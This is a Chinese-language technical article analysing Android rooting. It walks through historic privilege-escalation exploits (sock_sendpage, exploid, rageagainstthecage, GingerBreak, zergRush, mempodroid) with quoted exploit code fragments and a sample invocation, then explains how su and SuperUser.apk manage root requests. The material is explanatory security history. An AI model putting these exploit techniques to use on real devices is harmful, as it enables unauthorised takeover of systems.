Android--手機一鍵Root原理分析
Root的由來
什麼是Root?Root本身是指Linux系統的root帳戶,該帳戶擁有整個系統至高無上的權利,系統中的所有物件它都可以操作,對於Android手機使用者來說的Root是指擁有Root許可權,一般情況下,手機廠商出於安全考慮會關閉手機的Root許可權,手機系統是執行在普通使用者許可權下的,使用者是無法作業系統中的檔案與資料的。
Root與刷機本身是有很多關聯的,而且隨著刷機工具的便利與刷機原理的變化,兩者的關係更加是模糊不清了。不同廠商針對獲取Root許可權設定了不同的要塞。
首先從刷機說起,如HTC手機在刷機前需要保證S-OFF,S-OFF代表什麼呢?S代表 SecurityLock安全鎖,保護鎖的意思,S-OFF就是關掉鎖保護。然後是Motorola的手機,這個廠商對於不同型號的手機設定是不同的,很多Motorola型號的手機將BootLoader是鎖住的,因此,在刷機前需要先解鎖BootLoader。還有中興手機,這廠商更是變態,一次次的版本升級只是為了鎖住使用者不讓使用者升級,也就導致了同一型號的手機由於版本不同有的型號帶Recovery,有的又不帶。三星的手機現在可以說是最好賣的,一方面是出色的硬體配置與外觀,另一方面是有眾多的Rom包可以刷。三星的好幾款手機是Google原始碼的測試樣機,而且三星手機在出廠時對使用者的限制相比其它品牌是較少的,這也是廣大Android開發者對它青睞有加的原因。
早先的Android手機要想獲取Root許可權可以有以下幾種方式:
1. 使用本地提權漏洞利用工具來直接Root,這是最原始最純潔的方式。隨著廠商對Rom的升級,這些核心的漏洞隨時都可能被修補,因此,這種Root方法在時間與空間上都有著很大的侷限性。
2. 由於手機廠商對硬體的封閉,加上核心補丁修補很完全,這個時候獲取Root許可權就更難了,這個時候刷機與Root就聯合起來了,由於不能從系統內部通過Exploits來獲取Root許可權,只能通過修改Rom包來達到Root的目的,這也是目前很多第三方Rom包自帶了Root的原因,然而手機廠商也不是吃乾飯的,手機廠商在OTA升級時使用Recovery對包簽名進行驗證來防止使用者刷入修改過的包。對於這種變態的廠商,只能通過FastBoot來線刷了,這裡內容就不再展開了。
3. 當然,還有一部分廠商,為了吸引更多使用者購買他們的手機,還是在手機中偷偷的留了後門的,比如不鎖BootLoader,讓使用者刷第三方的Recovery,又或是乾脆留個以前的漏洞不補,讓使用者自己來Exploits等等。
Root漏洞的歷史
Root漏洞不是與生俱來的,這是全世界優秀的計算機黑客不懈努力的成果。也許那個你在夜店喝酒的夜晚,他們正尋找著系統的漏洞,一次次的測試,一次次的失敗,最終在你醉得不省人事的時候,他們獲取到了系統的最高控制權。他們歡呼,他們嚎叫,他們是全天下是聰明的人!
也許你對他們的事蹟不屑一顧,但我相信你對他們的研究成果是饒有興趣的。下來由我來帶領大家,看看這一路走來,都出現過哪裡牛人,他們又為我們帶來了哪些驚喜。
CVE-2009-2692
我無法知道Android提權漏洞是從哪個開始的,但我在我印象中,它是最早的。這個漏洞的發現者是Zinx,他是探索Android安全之路的先驅。現在每個Root後的手機中肯定有SuperUser.apk軟體,而Zinx就是早先SuperUser的作者,現在SuperUser由ChainsDD來負責更新了,Zinx前輩常年混跡於國外xda論壇,不過現在好像很少露面了。
這個洞是09年的,現在早已經修補了。從Zinx提供的android-root-20090816.tar.gz壓縮包時間來看,這個Exploit是在Android NDK r1釋出後近兩個月公佈的,可見Zinx研究Android的時間是多麼的早!這個洞的原作者並不是Znix,Znix只是將洞移植到了Android上,這個洞的作者在Exploit中給出的協議驅動程式包括pppox, bluetooth, appletalk, ipx, sctp,Znix改寫的Android版本使用的buletooth協議。這個漏洞的起因是sock_sendpage()的空指標解引用。因為sock_sendpage沒有對socket_file_ops結構的sendpage欄位做指標檢查,有些模組不具備sendpage功能,初始時賦為NULL,這樣,沒有做檢查的sock_sendpage有可能直接呼叫空指標而導致出錯並提升許可權!
接著,sendfile(fdout, fdin, NULL,PAGE_SIZE);的呼叫使得該洞被觸發,最終執行以下程式碼獲取到Root許可權:
int __attribute__((section(".null"))) root_sendpage(void*sk, void *page, int offset, size_t size, int flags)
{
current->uid =current->euid = 0;
current->gid =current->egid = 0;
got_root = 1;
return -ECONNREFUSED;
}
CVE-2010-EASY
這個漏洞是由“The Android Exploid Crew”小組發現的。在公佈的程式碼中,提供了多達三種的提權方法!分別是exploid.c、exploid2.c、rageagainstthecage.c三個檔案。
exploid.c與屬於exploid2.c同一類Exploit,這個洞的形成是由於udev對熱插拔訊息檢測不嚴導致的,使用者通過傳送惡意資訊讓核心載入自定義的惡意程式從而取得root許可權。在程式碼中,兩者都是通過NET_LINK來完成通訊,只是在處理“geteuid() == 0”時程式碼不同而以,程式傳送偽熱插拔訊息,讓核心執行自身程式碼,而核心由於沒有檢查訊息傳送者是核心還是使用者,就匆忙的執行了,這時“geteuid() == 0”條件成立,接下來只需開個sh就完成了Root工作。建立Socket併發送訊息的程式碼如下:
if ((sock =socket(PF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT)) < 0)
die("[-] socket");
close(creat("loading", 0666));
if ((ofd = creat("hotplug",0644)) < 0)
die("[-] creat");
if (write(ofd, path , strlen(path)) <0)
die("[-] write");
close(ofd);
symlink("/proc/sys/kernel/hotplug","data");
snprintf(buf, sizeof(buf),"ACTION=add%cDEVPATH=/..%s%c"
"SUBSYSTEM=firmware%c"
"FIRMWARE=../../..%s/hotplug%c", 0, basedir, 0, 0, basedir,0);
printf("[+] sending add message...\n");
if (sendmsg(sock, &msg, 0) < 0)
die("[-] sendmsg");
close(sock);
rageagainstthecage.c這個洞有人把它稱為setuid提權漏洞,這個漏洞的形成過程我個人感覺只能用“巧妙”來形容!程式碼通過將adbd後臺服務子程序耗盡迫使adbd重啟,adbd在重啟的時候具有root許可權,正常情況下這時adbd會呼叫setuid將許可權降到shell,但是由於rageagainstthecage讓adbd的殭屍程序充斥著整個系統,這時候setuid會呼叫失敗,最後adbd就被保留了root許可權執行,從而完成root提權。核心程式碼如下:
1 if (fork() > 0)
2 exit(0);
3
4 setsid();
5 pipe(pepe);
6
7 if (fork() == 0) {
8 close(pepe[0]);
9 for (;;) {
10 if ((p = fork()) ==0) {
11 exit(0);
12 } else if (p < 0){
13 if (new_pids){
14 printf("\n[+]Forked %d childs.\n", pids);
15 new_pids = 0;
16 write(pepe[1], &c, 1);
17 close(pepe[1]);
18 }
19 } else {
20 ++pids;
21 }
22 }
23 }
24 close(pepe[1]);
25 read(pepe[0],&c, 1);
第1-3行程式碼fork子程序後退出,第4-6行子程序獨立並建立兩支管道同來同步程序,具體是由第8行與第25行是一關一讀來實現的,第10-11行是不停的建立子程序,然後不停退出,這時殭屍產生了!直到最後p < 0輸出建立的子程序數目。在這段程式碼執行完後會重啟adb程序,adb程序重啟會執行setgid(AID_SHELL)與setuid(AID_SHELL)兩行程式碼來降權,可是這時候由於程序數達到上限setuid執行失敗,這就使得adb程序以Root許可權繼續執行下去了。
GingerBreak
GingerBreak本身不是Linux核心漏洞,因此它沒有正規的漏洞編號。與上面的漏洞同樣的是,GingerBreak也是由“The Android Exploid Crew”小組“發明”的,它的工作原理與Hook類似,通過程式碼修改/system/bin/vold程式的GOT表項,將strcmp()、atoi()等函式的地址為system()函式的地址,然後觸發呼叫strcmp()或atoi()來達到執行system()的目的,而後者真正被執行後會為我們來帶久違的Root Shell,修改函式地址的程式碼片斷如下:
vold.pid= found;
vold.found= 1;
if(vold.system)
return;
ptr= find_symbol("system");
vold.system= (uint32_t)ptr;
在修改完函式地址後,就要考慮如何來觸發了,“The AndroidExploid Crew”小組再一次使用了NET_LINK進行通訊,通過傳送熱插拔訊息讓void中的strcmp()或atoi()被呼叫!但不同的Android系統版本可能操作起來有所不同,於是,需要手工構造訊息,然後傳送:
/*Trigger any of the GOT overwriten strcmp(), atoi(), strdup() etc.
* inside vold main binary.
* Arent we smart? Using old school techniquefrom '99 to fsck NX while others
* re-invent "ROP". Wuhahahahaha!!!
*/
if(honeycomb) {
n= snprintf(buf, sizeof(buf), "@/foo%cACTION=add%cSUBSYSTEM=block%c"
"SEQNUM=%s%cDEVPATH=%s%c"
"MAJOR=%s%cMINOR=%s%cDEVTYPE=%s%cPARTN=1",
0, 0, 0, bsh, 0, bsh,0, bsh, 0, bsh, 0, bsh, 0);
}else if (froyo) {
n= snprintf(buf, sizeof(buf), "@/foo%cACTION=add%cSUBSYSTEM=block%c"
"DEVPATH=%s%c"
"MAJOR=179%cMINOR=%d%cDEVTYPE=harder%cPARTN=1",
0, 0, 0, bsh, 0, 0,vold.system, 0, 0);
}else {
n= snprintf(buf, sizeof(buf), "%s;@%s%cACTION=%s%cSUBSYSTEM=%s%c"
"SEQNUM=%s%cDEVPATH=%s%c"
"MAJOR=179%cMINOR=%d%cDEVTYPE=harder%cPARTN=1",
bsh, bsh, 0, bsh, 0,bsh, 0, bsh, 0, bsh, 0, 0, vold.system, 0, 0);
}
可以看到,程式碼的適用範圍是froyo到honeycomb,仔細看一下程式碼的註釋部分,程式碼的作者真的卡哇伊呢!
zergRush
同GingerBreak一樣,zergRush也不屬於核心漏洞。這個漏洞是大名鼎鼎的Revolutionary工具開發小組公佈的,這個小組開發的Revolutionary解鎖工具對於HTC的使用者應該不陌生吧!這個漏洞的原理是由於libsysutils.so庫中的FrameworkListener::dispatchCommand函式的一個棧變數引起的,棧變數argv[FrameworkListener::CMD_ARGS_MAX]由於允許的最大下標為16,如果我們特意傳送超過 16 個空格分割的字串,函式就會溢位。
整個溢位工具的程式碼框架與GingerBreak是一樣的,我估計是在GingerBreak程式碼基礎上加工的,嘿嘿,整個程式碼的核心部分在do_fault函式中,程式碼設計十分巧妙,經過精心的構造最終執行安排的Shellcode,整個過程通過程式碼閱讀很難在大腦中建立模型結構,建議還是手動除錯好。
以上介紹的幾個漏洞程式碼都是優秀的,無可挑剔的,它們目前在全球各地以各種名稱與形式存在著。
CVE-2012-0056
2012年1月23日,正當我們與家人聚在一起吃團年飯的時候,國外的小夥zx2c4在自己的主頁上公佈了此漏洞,隨後,xda上的網友saurik對其編寫了Android版本的Exploit。這個漏洞的原理是利用系統中具體s屬性的程式通過自修改程式的記憶體,執行Shellcode達到獲得Root許可權的目的。完成修改程序記憶體的動作前需要解決兩個問題:
1. 系統只允許$pid程序或者$pid的除錯程序對/proc/$pid/mem檔案進行寫入。
2. 系統會檢查開啟/poc/$pid/mem的程式的self_exec_id是否與當前執行的程式相同,一個程序使用exec()後self_exec_id會自動加一,以此來保護記憶體不會被別的程式修改。
解決第一個問題很簡單,可以直接開啟自己程序的記憶體即可,第二個問題就難辦了,因為程序開啟自己時self_exec_id已經加一了,zx2c4使用子程序來巧妙的解決了這個問題,首先fork()子程序來儲存程序的mem檔案到CMSG_DATA,然後父程序使用dup(2)建立2號fd,接著dup2(mem,2)將mem的內容dup2給2號fd,這時2號fd指向了/poc/$pid/mem的fd,下一步是構造引數args,呼叫"/system/bin/run-as"來執行Exploit,程式碼如下:
……
int save = dup(2);
dup2(mem, 2);
close(mem);
if (save != 3) {
dup2(save, 3);
close(save);
}
char self[1024];
_syscall(readlink("/proc/self/exe", self, sizeof(self) - 1));
char *args[4 + argc + 1];
args[0] = strdup("run-as");
args[1] = (char *) exploit;
args[2] = self;
args[3] = strdup("-");
int i;
for (i = 0; i != argc; ++i)
args[4 + i] = argv[i];
args[4 + i] = NULL;
_syscall(execv("/system/bin/run-as", args));
return 0;
漏洞利用程式在執行時需要提供三個引數exit()函式地址、setresuid()函式地址以及一個命令,如Root掉Galaxy Nexus手機可以執行:./data/local/tmp/mempodroid0xd7f4 0xad4b sh
exit()與setresuid()函式地址的獲取很簡單,可以使用objdump查詢,可以使用如下程式碼來獲取:
intmain(void) {
void* lib = dlopen("libc.so", RTLD_NOW |RTLD_GLOBAL);
void* symbol;
if (lib == NULL) {
fprintf(stderr,"Could not open self-executable with dlopen(NULL) !!: %s\n",dlerror());
return 1;
}
symbol = dlsym(lib,"exit");
if (symbol == NULL) {
fprintf(stderr,"Could not lookup symbol exit !!: %s\n", dlerror());
return 2;
}
printf("exit()addr:%08x\n", symbol);
symbol = dlsym(lib,"setresuid");
if (symbol == NULL) {
fprintf(stderr,"Could not lookup symbol setresuid !!: %s\n", dlerror());
return 2;
}
printf("setresuid()addr:%08x\n", symbol);
dlclose(lib);
return 0;
}
這個漏洞目前是最新的,並且漏洞的補丁是Linux的父親Linus親自提交的。在最新ICS 4.0.2(ICL53F)以前的Android系統中,這個漏洞可以正常工作。
su與SuperUser.apk是如何協作的
在Root後手機會植入su與superuser.apk兩個檔案,前者會被放入手機的/system/bin目錄下,後者被放到/system/app目錄下,它們組合在一起,為系統提供了su許可權的管理。這兩個工具目前由xda論壇上的ChainsDD在維護(順便說一下,國內xxRoot工具也有自已的su與SuperUser.apk檔案,修改取自並修改於ChainsDD的程式碼,並且版權被切)。
su程式與Linux平臺上的su本身無太大差別,只是由於系統的特殊性去掉了部分內容,並加上了一些控制程式碼。su程式保留的命令列引數不多,“-c”與“-s”可能是最常用的,整個程式核心功能由兩個方向性的函式allow()與deny()組成,在經過計算獲取到了命令列引數與命令後,會執行以下程式碼:
if(su_from.uid == AID_ROOT || su_from.uid == AID_SHELL)
allow(shell, orig_umask);
if (stat(REQUESTOR_DATA_PATH, &st) < 0) {
PLOGE("stat");
deny();
}
……
setgroups(0, NULL);
setegid(st.st_gid);
seteuid(st.st_uid);
AID_ROOT與AID_SHELL分別是root與shell許可權,程式直接放行,stat()函式會檢查手機是否安裝有SuperUser.apk,沒有程式會拒絕執行。條件滿足就會以Superuser的許可權往下執行:
db =database_init();
if (!db) {
LOGE("sudb - Could not open database,prompt user");
dballow = DB_INTERACTIVE;
} else {
LOGE("sudb - Database opened");
dballow = database_check(db, &su_from,&su_to);
sqlite3_close(db);
db = NULL;
LOGE("sudb - Database closed");
}
switch (dballow){
case DB_DENY: deny();
case DB_ALLOW: allow(shell,orig_umask);
case DB_INTERACTIVE: break;
default: deny();
}
database_init()與database_check()負責從SuperUser.apk程式databases目錄下的permissions.sqlite資料庫中讀取許可權設定,這也是為什麼SuperUser.apk有能力控制su的原因!(人家主動找上門的)等dballow弄到手,該放行該拒絕就看著辦了,如果沒搜尋到記錄就代表是第一次,需要往下建立socket來send_intent,send_intent()採用底層構造Intent方式來發送廣播,這個廣播會被SuperUser.apk接收,等返回後會給你返回個字串“ALLOW”或“DENY”,這時候su程式該咋地就咋地了:
if(send_intent(&su_from, &su_to, socket_path, -1, 0) < 0) {
deny();
}
if(socket_receive_result(socket_serv_fd, buf, sizeof(buf)) < 0) {
deny();
}
……
if (!strcmp(result, "DENY")) {
deny();
} else if(!strcmp(result, "ALLOW")) {
allow(shell, orig_umask);
} else {
LOGE("unknown response from SuperuserRequestor: %s", result);
deny();
}
下面是SuperUser.apk的工作了,上面的廣播會被SuperUser.apk的SuRequestReceiver廣播接收者收到,廣播接收者首先讀取prompt設定,如果使用者要的是自動處理,那就根據這個值來對Root許可權請求自動拒絕或自動放行,如果不自動處理,就到資料庫中搜索許可權規則,並根據結果發回處理,另外SuperUser除了對普通的程式程序su許可權控制外,還提供了NFC、SecretCode、PinCode的監控,SuperUser同時註冊了安裝與解除安裝Apk的廣播接收者,在安裝與解除安裝時會對許可權資料庫中的條目進行更新或刪除操作,限於篇幅,SuperUser的詳細實現在此就不再展開了。
到這裡本文就告一段落了。本文主要分析了手機Root許可權獲取的過程,並介紹了常見的幾個Root提權漏洞,最後通過分析su與SuperUser.apk的協作方式解了Root真正的原理。